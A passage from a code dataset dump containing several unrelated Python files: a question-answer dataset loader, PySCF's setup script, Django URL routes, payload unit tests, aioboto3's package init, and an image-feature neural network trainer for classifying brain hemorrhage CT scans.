full_list[offset:]\n return sublist_1, sublist_2\n\n def read_dataset(self, div_nums=None):\n \"\"\"\n 读取数据集和分割比例列表,默认分割比例[6,2,2], 要求分割比例为3个数且和为整数\n :param div_nums:\n :return:\n \"\"\"\n # 合并所有的训练集\n files = []\n file1 = open(self.args[\"train_file_path_zhidao\"], \"r\", encoding='utf-8')\n file2 = open(self.args[\"train_file_path_search\"], \"r\", encoding='utf-8')\n files.append(file1)\n files.append(file2)\n\n # 分割比例判断\n if div_nums == [] or div_nums is None:\n div_nums = [6, 2, 2]\n assert len(div_nums) == 3, \"div_ration need 3 int or float input\"\n assert math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 1) or \\\n math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 10) or \\\n math.isclose(div_nums[0] + div_nums[1] + div_nums[2], 100), \\\n \"sum(div_ration) shoule close to 1 or 10 or 100\"\n\n count = 0\n # 遍历所有文件的每一行,每一行是一个example\n for file in files:\n for line in file:\n example = js.loads(line)\n # 作筛选,只要是非观点型的问题\n if example[\"question_type\"] == \"YES_NO\":\n # 去除缺失答案,缺失问题,缺失文章,yesno答案是opinion,答案有矛盾的\n if len(example[\"yesno_answers\"]) == 0 or example[\"question\"] == \"\" or \\\n len(example[\"answers\"]) == 0 or len(example[\"documents\"]) == 0 or \\\n len(example[\"answer_docs\"]) == 0 or example[\"yesno_answers\"][0] == \"No_Opinion\" or \\\n not all(x == example[\"yesno_answers\"][0] for x in example[\"yesno_answers\"]):\n continue\n yesno_example = example\n raw_docs = yesno_example['documents']\n # 两个文章列表,所有文章和所有选中文章\n docs = []\n docs_selected = []\n for raw_doc in raw_docs:\n doc = \"\"\n # 用XXX作为段落分隔符\n for paragraph in raw_doc['paragraphs']:\n doc += paragraph.replace(\"\\t\", \"\") \\\n .replace(\" \", \"\").replace(\"\\n\", \"\").replace(\"\\r\", \"\")\n doc += \"XXX\"\n docs.append(doc)\n if raw_doc['is_selected']:\n docs_selected.append(doc)\n # 因为已经判断列表中所有答案一致,所以取第一个即可\n yesno_answer = yesno_example[\"yesno_answers\"][0]\n question = yesno_example[\"question\"]\n answer = yesno_example[\"answers\"][0].replace(\"\\t\", \"\") \\\n .replace(\" \", \"\").replace(\"\\n\", \"\").replace(\"\\r\", \"\")\n qas_id = yesno_example['question_id']\n count += 1\n if count % 1000 == 0:\n self.logger.info(\"has read {} examples\".format(count))\n # 获取好字段信息后生成example实例写入全局列表中\n one_example = Example(\n qas_id=qas_id,\n question=question,\n answer=answer,\n yes_or_no=yesno_answer,\n docs=docs,\n docs_selected=docs_selected)\n self.examples.append(one_example)\n file.close()\n\n # 根据输入的比例来分割examples为train,dev,test\n nums = div_nums\n ration1 = float(nums[0]) / (nums[0] + nums[1] + nums[2])\n self.train_examples, dev_test = self.__split(self.examples, ration1)\n ration2 = float(nums[1]) / (nums[1] + nums[2])\n self.dev_examples, self.test_examples = self.__split(dev_test, ration2)\n self.logger.info(\"{len1} train examples,{len2} dev examples,{len3} test examples\"\n .format(len1=len(self.train_examples), len2=len(self.dev_examples),\n len3=len(self.test_examples)))\n\n def get_split(self):\n \"\"\"\n 获取example_list的接口\n :return:\n \"\"\"\n assert len(self.train_examples) + len(self.dev_examples) + len(self.test_examples) > 0, \\\n \"don't get any data, maybe you didn't load from any way before!\"\n return self.train_examples, self.dev_examples, self.test_examples\n\n def save_example(self):\n \"\"\"\n 保存example_list的缓存\n :return:\n \"\"\"\n self.logger.info(\"Saving examples from local path...\")\n with open(self.args[\"train_examples_path\"], \"wb\") as f:\n pickle.dump(self.train_examples, f)\n with open(self.args[\"dev_examples_path\"], \"wb\") as f:\n pickle.dump(self.dev_examples, f)\n with open(self.args[\"test_examples_path\"], \"wb\") as f:\n pickle.dump(self.test_examples, f)\n self.logger.info(\"Saving examples successful!\")\n return\n\n def load_examples(self):\n \"\"\"\n 读取example_list的缓存\n :return:\n \"\"\"\n self.logger.info(\"Loading examples to local path...\")\n with open(self.args[\"train_examples_path\"], \"rb\") as f:\n self.train_examples = pickle.load(f)\n with open(self.args[\"dev_examples_path\"], \"rb\") as f:\n self.dev_examples = pickle.load(f)\n try:\n with open(self.args[\"test_examples_path\"], \"rb\") as f:\n self.test_examples = pickle.load(f)\n except Exception:\n msg = \"test_examples file didn't find, so test_examples were not loaded!\"\n warnings.warn(msg, UserWarning)\n self.logger.info(\"Loading examples successful!\")\n return\n","sub_path":"data/Dataset.py","file_name":"Dataset.py","file_ext":"py","file_size_in_byte":6764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"468656576","text":"import sys\nimport subprocess\nfrom setuptools import setup, find_packages, Extension\n\nif sys.version_info[0] >= 3: # from Cython 0.14\n from distutils.command.build_py import build_py_2to3 as build_py\nelse:\n from distutils.command.build_py import build_py\n\n\nCLASSIFIERS = [\n'Development Status :: 1.4 stable',\n'Intended Audience :: Science/Research',\n'Intended Audience :: Developers',\n'License :: OSI Approved',\n'Programming Language :: C',\n'Programming Language :: Python',\n'Programming Language :: Python :: 3',\n'Topic :: Software Development',\n'Topic :: Scientific/Engineering',\n'Operating System :: POSIX',\n'Operating System :: Unix',\n'Operating System :: MacOS',\n]\n\nNAME = 'pyscf'\nMAINTAINER = 'Qiming Sun'\nMAINTAINER_EMAIL = 'osirpt.sun@gmail.com'\nDESCRIPTION = 'PySCF: Python-based Simulations of Chemistry Framework'\n#LONG_DESCRIPTION = ''\nURL = 'http://www.pyscf.org'\nDOWNLOAD_URL = 'http://github.com/sunqm/pyscf'\nLICENSE = 'BSD 2-clause \"Simplified\" License (BSD2)'\nAUTHOR = 'Qiming Sun'\nAUTHOR_EMAIL = 'osirpt.sun@gmail.com'\nPLATFORMS = ['Linux', 'Mac OS-X', 'Unix']\nVERSION = '1.4.0'\n\nsetup(\n name=NAME,\n version=VERSION,\n description=DESCRIPTION,\n url=URL,\n download_url=DOWNLOAD_URL,\n license=LICENSE,\n classifiers=CLASSIFIERS,\n author=AUTHOR,\n author_email=AUTHOR_EMAIL,\n platforms=PLATFORMS,\n package_dir={'pyscf': 'pyscf'}, # packages are under directory pyscf\n package_data={'': ['*.so', '*.dat']}, # any package contains *.so *.dat files\n include_package_data=True, # include everything in source control\n packages=find_packages(exclude=['*dmrgscf*', '*fciqmcscf*', '*icmpspt*',\n '*shciscf*', '*xianci*',\n '*future*', '*test*', '*examples*',\n '*setup.py']),\n cmdclass={'build_py': build_py},\n)\n\n#msg = subprocess.check_output(\n# 'mkdir -p pyscf/lib/build && cd pyscf/lib/build && cmake .. && make install',\n# shell=True, stderr=subprocess.STDOUT)\n\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"308791897","text":"#plik został dodany\n\nfrom django.conf.urls import url\nfrom . import views #importuje z bierzącego folderu widoki (views)\n\n\nurlpatterns = [\n url(r'^$', views.post_list, name='post_list'), #to wzorzec adresu URL, który przyporządkowuje widok (view) o nazwie post_list do adresu ^$. Ten wzorzec będzie wskazówką dla Django, że views.post_list jest właściwym miejscem dla każdego, kto wejdzie na stronę poprzez adres 'http://127.0.0.1:8000/'. Ostatni kawałek name='post_list jest nazwą adresu URL, która będzie używana do zidentyfikowania widoku.\n url(r'post/(?P[0-9]+)/$', views.post_detail, name='post_detail'), #zaraz po początku jest adres URL który będzie zawierać słowo post i / . (?P[0-9]+) - Django pobierze wszystko, co będzie umieszczone w tym miejscu i przekaże to do widoku w zmiennej o nazwie pk. [0-9] może to być tylko cyfra (czyli wszystko pomiędzy 0 a 9). + oznacza, że to musi być jedna lub więcej cyfr. Czyli coś takiego jest poprawne: http://127.0.0.1:8000/post/1234567890/\n url(r'post/new/$', views.post_new, name='post_new'),\n url(r'^post/(?P[0-9]+)/edit/$', views.post_edit, name='post_edit'),\n]\n\n\n\n\n\n\n","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"98733010","text":"from pathlib import Path\n\nfrom podder_task_foundation import Payload\n\n\ndef test_payload_create():\n payload = Payload()\n assert isinstance(payload, Payload)\n\n\ndef test_payload_load_json_dictionary():\n payload = Payload()\n payload.add_file(Path(__file__).parent.joinpath(\"data\", \"dictionary_01.json\"))\n\n json_data = payload.get_data()\n assert json_data\n assert json_data[\"key\"] == \"value\"\n\n\ndef test_payload_load_json_array():\n payload = Payload()\n payload.add_file(Path(__file__).parent.joinpath(\"data\", \"array_01.json\"))\n\n json_data = payload.get_data()\n assert json_data\n assert json_data[1] == \"value_1\"\n\n\ndef test_payload_load_pdf():\n payload = Payload()\n payload.add_file(Path(__file__).parent.joinpath(\"data\", \"pdf_01.pdf\"))\n\n pdf_data = payload.get(object_type=\"pdf\")\n assert pdf_data\n\n\ndef test_payload_load_directory():\n payload = Payload()\n payload.add_directory(Path(__file__).parent.joinpath(\"data\"))\n\n objects = payload.all()\n assert len(objects) == 6\n assert objects[0].type == \"array\"\n assert objects[0].name == \"array_01.json\"\n assert objects[0].extension == \".json\"\n","sub_path":"tests/test_payload.py","file_name":"test_payload.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"535868055","text":"# -*- coding: utf-8 -*-\n\n\"\"\"Top-level package for Async AWS SDK for Python.\"\"\"\nimport logging\nfrom aioboto3.session import Session\n\n__author__ = \"\"\"Terry Cain\"\"\"\n__email__ = 'terry@terrys-home.co.uk'\n__version__ = '6.5.0'\n\nDEFAULT_SESSION = None\n\n\ndef setup_default_session(**kwargs):\n \"\"\"\n Set up a default session, passing through any parameters to the session\n constructor. There is no need to call this unless you wish to pass custom\n parameters, because a default session will be created for you.\n \"\"\"\n global DEFAULT_SESSION\n DEFAULT_SESSION = Session(**kwargs)\n\n\ndef set_stream_logger(name='boto3', level=logging.DEBUG, format_string=None):\n \"\"\"\n Add a stream handler for the given name and level to the logging module.\n By default, this logs all boto3 messages to ``stdout``.\n\n :type name: string\n :param name: Log name\n :type level: int\n :param level: Logging level, e.g. ``logging.INFO``\n :type format_string: str\n :param format_string: Log message format\n \"\"\"\n if format_string is None:\n format_string = \"%(asctime)s %(name)s [%(levelname)s] %(message)s\"\n\n logger = logging.getLogger(name)\n logger.setLevel(level)\n handler = logging.StreamHandler()\n handler.setLevel(level)\n formatter = logging.Formatter(format_string)\n handler.setFormatter(formatter)\n logger.addHandler(handler)\n\n\ndef _get_default_session(**kwargs):\n \"\"\"\n Get the default session, creating one if needed.\n :rtype: :py:class:`~aioboto3.session.Session`\n :return: The default session\n \"\"\"\n if DEFAULT_SESSION is None:\n setup_default_session(**kwargs)\n\n return DEFAULT_SESSION\n\n\ndef client(*args, loop=None, **kwargs):\n \"\"\"\n Create a low-level service client by name using the default session.\n See :py:meth:`aioboto3.session.Session.client`.\n \"\"\"\n return _get_default_session(loop=loop).client(*args, **kwargs)\n\n\ndef resource(*args, loop=None, **kwargs):\n \"\"\"\n Create a resource service client by name using the default session.\n See :py:meth:`aioboto3.session.Session.resource`.\n \"\"\"\n return _get_default_session(loop=loop).resource(*args, **kwargs)\n\n\n# Set up logging to ``/dev/null`` like a library is supposed to.\n# http://docs.python.org/3.3/howto/logging.html#configuring-logging-for-a-library\nclass NullHandler(logging.Handler):\n def emit(self, record):\n pass\n\n\nlogging.getLogger('boto3').addHandler(NullHandler())\n","sub_path":"aioboto3/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"248788383","text":"import matplotlib.pyplot as plt\nimport skimage.feature as skimg\nimport skimage.measure as skm\nimport numpy as np\nimport cv2\nimport glob\nimport os\nimport time\nfrom scipy.stats import kurtosis, skew\nfrom pathlib import Path\n\n#global definitions\nin_neurons = 18\nout_neurons = 3\nsamplesize = 251\t#number of images in training set\n \ntestingContour = None\ngrayscaleImagesList = None\ncontourImagesList = None\nepochNumber = 10000\n\n\n#---------------------------------------------------------------------------\n#defining parameters for a single-hidden-layer neural network\nw0_1 = None#np.zeros((in_neurons, hl_neurons))\nw1_1 = None#np.zeros((hl_neurons, out_neurons))\n#---------------------------------------------------------------------------\n\n#---------------------------------------------------------------------------\n#defining parameters for a 2-hidden-layer neural network\nw0_2 = None#np.zeros((in_neurons, l1_neurons))\nw1_2 = None#np.zeros((l1_neurons, l2_neurons))\nw2_2 = None#np.zeros((l2_neurons, out_neurons))\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#get grayscale features\ndef getGrayscaleFeatures(image):\n grayscaleResults = np.zeros(10)\n image_flat = np.copy(image).flatten()#flatten to be able to compute skewness and kurtosis\n grayscaleResults[0] = image.mean()\n grayscaleResults[1] = np.var(image)\n grayscaleResults[2] = skew(image_flat)\n grayscaleResults[3] = kurtosis(image_flat)\n\n GLCM = skimg.greycomatrix(image, #image \n [1], #pixel offsets, 1 implies 1 pixel shift each time\n [0, np.pi/4, np.pi/2, 3*np.pi/4], #angles in radians - 4 given to make it rotational invariant\n normed=\"true\") #normalised values, sum of matrix results to 1\n\n grayscaleResults[4] = skimg.greycoprops(GLCM, 'contrast').mean()\n grayscaleResults[5] = skimg.greycoprops(GLCM, 'homogeneity').mean()\n grayscaleResults[6] = skimg.greycoprops(GLCM, 'ASM').mean()\n grayscaleResults[7] = skimg.greycoprops(GLCM, 'correlation').mean()\n grayscaleResults[8] = skimg.greycoprops(GLCM, 'energy').mean()\n entropy = ((skm.shannon_entropy(GLCM[:,:,0,0])) + \n (skm.shannon_entropy(GLCM[:,:,0,1])) + \n (skm.shannon_entropy(GLCM[:,:,0,2])) + \n (skm.shannon_entropy(GLCM[:,:,0,3]))) / 4\n grayscaleResults[9] = entropy\n\n return grayscaleResults\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#get contour features\ndef getShapeFeatures(im):\n contourResults = np.zeros(8)\n originalImage = np.copy(im)\n image, contours, hierarchy = cv2.findContours(im, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n areas = np.zeros([len(contours)])\n maxArea = 0\n maxAreaLoc = -1\n maxPerim = 0\n\n #print(\"in getGrayFeatures\")\n for i in range(1, len(areas)):\n \tareas[i] = cv2.contourArea(contours[i])\n \tif(areas[i] > maxArea):\n \t\tmaxArea = areas[i]\n \t\tmaxAreaLoc = i\n\n\n maxPerim = cv2.arcLength(contours[maxAreaLoc], True)\n #print(str(maxArea)+\" || AT || \"+str(maxAreaLoc)+\" || PERIM = \"+str(maxPerim))\n drawing = cv2.cvtColor(im, cv2.COLOR_GRAY2BGR)\n global testingContour\n testingContour = contours[maxAreaLoc]\n cv2.drawContours(drawing, contours, maxAreaLoc, (0,255,0), 5)\n #cv2.namedWindow(\"contours\", cv2.WINDOW_AUTOSIZE)\n #cv2.imshow(\"contours\", drawing)\n #cv2.namedWindow(\"original\", cv2.WINDOW_AUTOSIZE)\n #cv2.imshow(\"original\", originalImage)\n #cv2.waitKey()\n\n contourResults[0] = maxArea\n contourResults[1] = maxPerim\n \n (_, _), (w, h), theta = cv2.minAreaRect(contours[maxAreaLoc])\n\n if(w < h):\n \tcontourResults[2] = h\n \tcontourResults[3] = w\n else:\n \tcontourResults[2] = w\n \tcontourResults[3] = h\n \n contourResults[4] = theta\n\n boundingRectArea = w*h\n extent = maxArea / boundingRectArea\n contourResults[5] = extent\n \n convexHullArea = cv2.contourArea(cv2.convexHull(contours[maxAreaLoc]))\n solidity = maxArea / convexHullArea\n contourResults[6] = solidity\n contourResults[7] = convexHullArea\n return contourResults\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#get training set images from file\ndef getTrainingInputMatrix():\n filename = \"Training/trainingInputMatrix.txt\"\n pathname = Path(filename)\n\n if pathname.is_file():\n inputMatrix = np.loadtxt(filename)\n print(\"read training input matrix from file\")\n\n else:\n pathname_grayscale = \"Training/grayscale/*.png\" # refine path name!!!\n filenames_grayscale = sorted(glob.glob(pathname_grayscale))\n pathname_contour = \"Training/contours/*.png\" #change path name!!!\n outfile = open(\"filenames_gs.txt\", 'w')\n outfile.write(\"\\n\".join(filenames_grayscale))\n outfile.close()\n filenames_contour = sorted(glob.glob(pathname_contour))\n\n inputMatrix = np.empty((samplesize, in_neurons))\n print(\"generating input training matrix. . .\")\n for i in range(0, len(filenames_grayscale)):\n currentImagePath = filenames_grayscale[i]\n image = cv2.imread(currentImagePath, cv2.IMREAD_GRAYSCALE)\n grayscale = getGrayscaleFeatures(image)\n currentImagePath = filenames_contour[i]\n image_contour = cv2.imread(currentImagePath, cv2.IMREAD_GRAYSCALE)\n contours = getShapeFeatures(image_contour)\n inputMatrix[i, 0:10] = grayscale\n inputMatrix[i, 10:18] = contours\n print(\"done\")\n np.savetxt(filename, inputMatrix)\n\n return inputMatrix\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#normalise input matrix\ndef normaliseMatrix(matrix):\n\tminColValues = np.amin(matrix, axis=0)\n\tmaxColValues = np.amax(matrix, axis=0)\n\n\tdenominator = maxColValues - minColValues\n\tnumerator = (matrix.T - minColValues.T[:,None]).T\n\ttemp = np.divide(numerator, denominator)\n\ttemp2 = np.multiply(temp, 2)\n\tnormalisedMatrix = np.subtract(temp2, 1)\n\n\treturn normalisedMatrix\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#get output training matrix\ndef getTrainingOutputMatrix():\n filename = \"Training/trainingExpectedOutputMatrix.txt\"\n pathname = Path(filename)\n\n if pathname.is_file():\n expectedOutputMatrix = np.loadtxt(filename)\n print(\"read training expected output matrix from file\")\n\n else:\n print(\"generating training expectd output matrix . . .\")\n expectedOutputMatrix = np.zeros((samplesize, out_neurons))\n trainingExpectedResults = open(\"Training/expected_outputs.txt\", \"r\")\n index = 0\n for line in trainingExpectedResults:\n if(line == \"EDH\\n\"):\n expectedOutputMatrix[index] = [1,0,0]#,0,0]\n\t\t\t#print(\"epidural\")\n elif( line == \"SDH\\n\"):\n expectedOutputMatrix[index] = [0,1,0]#,0,0]\n\t\t\t#print (\"subdural\")\n elif( line == \"ICH\\n\"):\n expectedOutputMatrix[index] = [0,0,1]#,0,0]\n\t\t\t#print (\"intracranial\")\n\t\t#elif( line == \"IVH\\n\"):\n\t\t#\texpectedOutputMatrix[index] = [0,0,0,1,0]\n\t\t#\tprint (\"intra-ventricular\")\n\t\t#elif( line == \"NO\\n\"):\n\t\t#\texpectedOutputMatrix[index] = [0,0,0,0,1]\n\t\t#\tprint (\"no hemorrhage detected\")\n else:\n print(\"incorrect value in file line \"+ str(index))\n index += 1\n trainingExpectedResults.close()\n np.savetxt(filename, expectedOutputMatrix)\n print(\"done\")\n return expectedOutputMatrix\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#Training the neural networks\ndef sigmoid(x):\n\treturn 1 / (1 + np.exp(-x))\n\ndef sigmoid_derivative(x):\n\treturn x * (1 - x) \n\ndef initialiseNeuralNetwork(hl_neurons, l1_neurons, l2_neurons):\n\n global w0_1\n global w1_1\n global w0_2\n global w1_2\n global w2_2\n \n np.random.seed(1)\n w0_2 = 2 * np.random.random((in_neurons, l1_neurons)) - 1\n w1_2 = 2 * np.random.random((l1_neurons, l2_neurons)) - 1\n w2_2 = 2 * np.random.random((l2_neurons, out_neurons)) - 1\n w0_1 = 2 * np.random.random((in_neurons, hl_neurons)) - 1\n w1_1 = 2 * np.random.random((hl_neurons, out_neurons)) - 1\n\ndef TrainNeuralNetwork(inputMatrix, outputMatrix, learningRate, hl_neurons, l1_neurons, l2_neurons, trainCaseNumber):\n\t\n X = inputMatrix\n Y = outputMatrix\n global w0_2\n global w1_2\n global w2_2\n global w0_1\n global w1_1\n \n #create new path for new folder where everything will be stored\n resultsFolder = \"Training/Tests/\"+str(trainCaseNumber)+\"/\"\n os.makedirs(resultsFolder)\n\n #open file to add details re training\n testList = open(\"Training/Tests/testKey.txt\", \"a+\")\n testList.write(str(trainCaseNumber)+\": learning rate = \"+str(learningRate)+\"; 1HL: \"+str(hl_neurons)+\"; 2HL-1: \"+str(l1_neurons)+\"; 2HL-2: \"+str(l2_neurons)+\"\\n\")\n testList.close()\n\n \n #text files storing MSE recorded for each NN\n mse_1 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/1_MSE.txt\", 'w') \n mse_2 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/2_MSE.txt\", 'w')\n diff_1 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/1_Difference.txt\", 'w')\n diff_2 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/2_Difference.txt\", 'w')\n miscInfo = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/OtherValues.txt\", 'w')\n error_1 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/error1.txt\", 'w')\n error_2 = open(\"Training/Tests/\"+str(trainCaseNumber)+\"/error2.txt\", 'w')\n i = 0\n initialiseNeuralNetwork(hl_neurons, l1_neurons, l2_neurons)\n error1 = 10.0\n error2 = 10.0\n mseTotal_1 = 10\n mseTotal_2 = 10 \n nn1_converged = False\n nn2_converged = False\n\n for i in range(0, epochNumber):\n prevEpochError_1 = mseTotal_1\n prevEpochError_2 = mseTotal_2\n total_dW_in_1_1 = 0\n total_dW_1_out_1 = 0\n error1 = 0\n\n total_dW_in_1_2 = 0\n total_dW_1_2_2 = 0\n total_dW_2_out_2 = 0\n error2 = 0\n\n for j in range (0, samplesize):\n l0 = np.array(X[j,], ndmin=2)\n np.reshape(l0, (1, in_neurons))\n\n ############## ONE HIDDEN LAYER NEURAL NETWORK STRUCTURE \n ###### feedforward\n if(nn1_converged == False):\n s1_1 = np.dot(l0, w0_1)#working out hidden layer \n z1_1 = sigmoid(s1_1)\n z1_1_deriv = sigmoid_derivative(z1_1).T\n s2_1 = np.dot(z1_1, w1_1) #woroing out outputs\n z2_1 = sigmoid(s2_1)\n yHat_1 = z2_1 #computed output\n\n ###### mean square error\n mseTotal_1 += np.mean((np.square(Y[j, : ] - yHat_1))) #<-- total error of neural network\n #print(str(totalError))\n\n ###### back propagation\n delta_out_1 = (yHat_1 - Y[j,:]).T\n delta_1_1 = np.multiply(z1_1_deriv, np.dot(w1_1, delta_out_1))\n \n error1 += (np.mean(delta_out_1) + np.mean(delta_1_1)) \n ###### calculate change in weights needed and update weights\n dW_in_1_1 = learningRate * (np.dot(delta_1_1, l0).T)\n total_dW_in_1_1 += np.mean(dW_in_1_1)\n\n dW_1_out_1 = learningRate * (np.dot(delta_out_1, z1_1).T)\n total_dW_1_out_1 += np.mean(dW_1_out_1)\n w0_1 += dW_in_1_1\n w1_1 += dW_1_out_1\n #end of 1 hidden layer\n\n if(nn2_converged == False):\n ############## TWO HIDDEN LAYER NEURAL NETWORK STRUCTURE\n ###### feedforward\n s1_2 = np.dot(l0, w0_2)\n z1_2 = sigmoid(s1_2)\n z1_2_deriv = sigmoid_derivative(z1_2).T\n s2_2 = np.dot(z1_2, w1_2)\n z2_2 = sigmoid(s2_2)\n z2_2_deriv = sigmoid_derivative(z2_2).T\n s3_2 = np.dot(z2_2, w2_2)\n z3_2 = sigmoid(s3_2)\n yHat_2 = z3_2\n \n ###### mean square error\n mseTotal_2 += np.mean((np.square(Y[j, : ] - yHat_2)))\n\n ###### back propagation\n delta_out_2 = (yHat_2 - Y[j,:]).T\n delta2_2 = np.multiply(z2_2_deriv, np.dot(w2_2, delta_out_2))\n delta1_2 = np.multiply(z1_2_deriv, np.dot(w1_2, delta2_2))\n\n error2 += (np.mean(delta_out_2) + np.mean(delta2_2) + np.mean(delta1_2))\n\n ###### calculate change in weights needed and update weights\n dW_in_1_2 = learningRate * (np.dot(delta1_2, l0).T)\n total_dW_in_1_2 += np.mean(dW_in_1_2)\n dW_1_2_2 = learningRate * (np.dot(delta2_2, z1_2).T)\n total_dW_1_2_2 += np.mean(dW_1_2_2)\n dW_2_out_2 = learningRate * (np.dot(delta_out_2, z2_2).T)\n total_dW_2_out_2 += np.mean(dW_2_out_2)\n w0_2 += dW_in_1_2\n w1_2 += dW_1_2_2\n w2_2 += dW_2_out_2\n \n total_dW_in_1_1 /= float(samplesize)\n total_dW_1_out_1 /= float(samplesize)\n mseTotal_1 /= float(samplesize)\n error1 /= float(samplesize)\n total_dW_in_1_2 /= float(samplesize)\n total_dW_1_2_2 /= float(samplesize)\n total_dW_2_out_2 /= float(samplesize)\n mseTotal_2 /= float(samplesize)\n error2 /= float(samplesize)\n\n if(nn1_converged == False):\n mse_1.write(str(mseTotal_1)+\"\\n\")\n diff_1.write(str(prevEpochError_1 - mseTotal_1)+\"\\n\")\n error_1.write(str(error1)+\"\\n\")\n if(nn2_converged == False):\n mse_2.write(str(mseTotal_2)+\"\\n\")\n diff_2.write(str(prevEpochError_2 - mseTotal_2)+\"\\n\")\n error_2.write(str(error2)+\"\\n\")\n\n print(str(trainCaseNumber)+\" - 1HL: EPOCH \"+str(i)+\": \"+str(error1)+\"|||\"+str(float(total_dW_in_1_1))+\"|\"+str(float(total_dW_1_out_1)))\n print(str(trainCaseNumber)+\" - 2HL: EPOCH \"+str(i)+\": \"+str(error2)+\"|||\"+str(float(total_dW_in_1_2))+\"|\"+str(float(total_dW_1_2_2))+\"|\"+str(float(total_dW_2_out_2)))\n \n if(abs(prevEpochError_1 - mseTotal_1) < 0.000001 and (nn1_converged == False)):\n nn1_converged = True\n print(str(prevEpochError_1 - mseTotal_1))\n miscInfo.write(\"[1HL] converged at epoch \"+str(i+1)+\"\\n\")\n miscInfo.write(\"[1HL] final difference: \"+str(prevEpochError_1 - mseTotal_1)+\"\\n\")\n \n if(abs(prevEpochError_2 - mseTotal_2) < 0.000001 and (nn2_converged == False)):\n nn2_converged = True\n print(str(prevEpochError_2 - mseTotal_2))\n miscInfo.write(\"[2HL] converged at epoch \"+str(i+1)+\"\\n\")\n miscInfo.write(\"[2HL] final difference: \"+str(prevEpochError_2 - mseTotal_2)+\"\\n\")\n \n if(nn1_converged and nn2_converged):\n #store weights after training network and include details about test in log file being kept\n np.savetxt(\"Training/Tests/\"+str(trainCaseNumber)+\"/1_\"+str(trainCaseNumber)+\"_w0.txt\", w0_1)\n np.savetxt(\"Training/Tests/\"+str(trainCaseNumber)+\"/1_\"+str(trainCaseNumber)+\"_w1.txt\", w1_1)\n np.savetxt(\"Training/Tests/\"+str(trainCaseNumber)+\"/2_\"+str(trainCaseNumber)+\"_w0.txt\", w0_2)\n np.savetxt(\"Training/Tests/\"+str(trainCaseNumber)+\"/2_\"+str(trainCaseNumber)+\"_w1.txt\", w1_2)\n np.savetxt(\"Training/Tests/\"+str(trainCaseNumber)+\"/2_\"+str(trainCaseNumber)+\"_w2.txt\", w2_2)\n \n break\n\n mse_1.close()\n mse_2.close()\n diff_1.close()\n diff_2.close()\n error_1.close()\n error_2.close()\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n#get test image from file and test input matrix\ndef getTestInputMatrix():\n\t#possible imprivement - get image to be tested for using glob? <--- done\n global grayscaleImagesList\n global contourImagesList\n pathname_contour_test = \"Testing/contour/*.png\" # refine path name!!!\n filenames_contour_test = sorted(glob.glob(pathname_contour_test))\n pathname_grayscale_test = \"Testing/grayscale/*.png\" # refine path name!!!\n filenames_grayscale_test = sorted(glob.glob(pathname_grayscale_test))\n\n grayscaleImagesList = filenames_grayscale_test\n contourImagesList = filenames_contour_test\n\n testInput = np.empty((len(filenames_contour_test), in_neurons))\n \n for i in range(0, len(filenames_contour_test)):\n currentTestImage = filenames_grayscale_test[i]\n image = cv2.imread(currentTestImage, cv2.IMREAD_GRAYSCALE)\n grayscaleTest = getGrayscaleFeatures(image) \n\n currentTestImage = filenames_contour_test[i]\n image = cv2.imread(currentTestImage, cv2.IMREAD_GRAYSCALE)\n contoursTest = getShapeFeatures(image)\n testInput[i, 0:10] = grayscaleTest\n testInput[i, 10:18] = contoursTest\n\n return testInput\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n\n#--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n#pass test case through neural network\ndef TestOneHiddenLayerNetwork(inputMatrix, testSet):\n resultMatrix = np.empty((len(inputMatrix), out_neurons))\n w0 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/1_\"+str(testSet)+\"_w0.txt\", ndmin=2)\n w1 = np.loadtxt(\"Training/Tests/\"+str(testSet)+\"/1_\"+str(testSet)+\"_w1.txt\", ndmin=2)\n #load weight matrces and store them in variables\n #pass input matrix through network, one image at a time\n for i in range(0, len(inputMatrix)):\n l0 = np.array(inputMatrix[i,], ndmin=2)\n np.reshape(l0, (1, in_neurons))\n \n l1_1 = sigmoid(np.dot(l0, w0))\n l2_1 = sigmoid(np.dot(l1_1, w1))\n \n resultMatrix[i, :] = l2_1\n\n print(\"[1HL] for image \"+str(i+1))\n print(l2_1)\n \n return resultMatrix\n\ndef TestTwoHiddenLayerNetwork(inputMatrix, testSet):\n resultMatrix = np.empty((len(inputMatrix), out_neurons))\n w0 = 